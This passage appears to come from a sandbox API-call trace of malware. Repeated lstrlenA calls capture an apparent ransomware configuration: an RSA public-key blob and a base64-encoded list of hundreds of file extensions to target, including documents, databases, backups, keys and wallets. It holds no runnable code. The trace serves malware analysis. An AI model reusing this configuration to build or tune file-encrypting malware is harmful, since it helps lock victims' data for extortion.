C5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.128] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5